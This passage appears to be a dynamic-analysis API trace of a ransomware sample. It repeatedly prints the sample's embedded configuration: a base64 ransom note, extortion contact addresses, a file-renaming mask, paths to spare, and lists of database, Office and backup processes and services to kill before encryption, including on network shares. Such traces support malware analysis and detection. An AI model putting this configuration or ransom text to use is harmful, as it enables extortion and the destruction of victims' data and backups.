yBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x10f0d0, _Radix=0 | out: _EndPtr=0x10f0d0*=",\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}") returned 51200
	[0060.366] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2861b98, Size=0x14) returned 0x28685b0
	[0060.367] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868630
	[0060.367] strtol (in: _Str="8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x10f0d0, _Radix=0 | out: _EndPtr=0x10f0d0*=",\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program 